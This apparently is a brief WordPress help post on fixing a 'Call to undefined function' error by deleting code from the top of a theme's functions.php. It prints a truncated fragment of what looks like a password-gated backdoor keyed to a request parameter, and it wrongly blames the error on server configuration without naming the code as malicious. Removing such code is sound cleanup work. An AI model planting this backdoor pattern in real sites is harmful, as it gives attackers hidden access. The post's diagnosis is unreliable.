Skip to main content


How to fix Call to undefined function error

Call to undefined function error is not related to wordpress. It is server configuration issue. Server administrator update PHP version for mysql. WordPress recommended update your theme in time. If not update your theme and facing above call to undefined function mysql_escape_string() in WordPress. To fix Call to undefined function error login your FTP account or goto file manager from cpanel. Open functions.php file from recent activated theme. Find the below code top of your functions.php file.

<?php if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘ac0c91b2516f0331e5f5ec4cd54ab8fd’))—————————
————————————————————————
—————————
get_search_form();

get_sidebar();

get_footer();

}

exit;

}

?>

Please removed above code from your functions.php file and update on your server. Check your url, now it is working.

One thought on “How to fix Call to undefined function error

Leave a Reply

Your email address will not be published. Required fields are marked *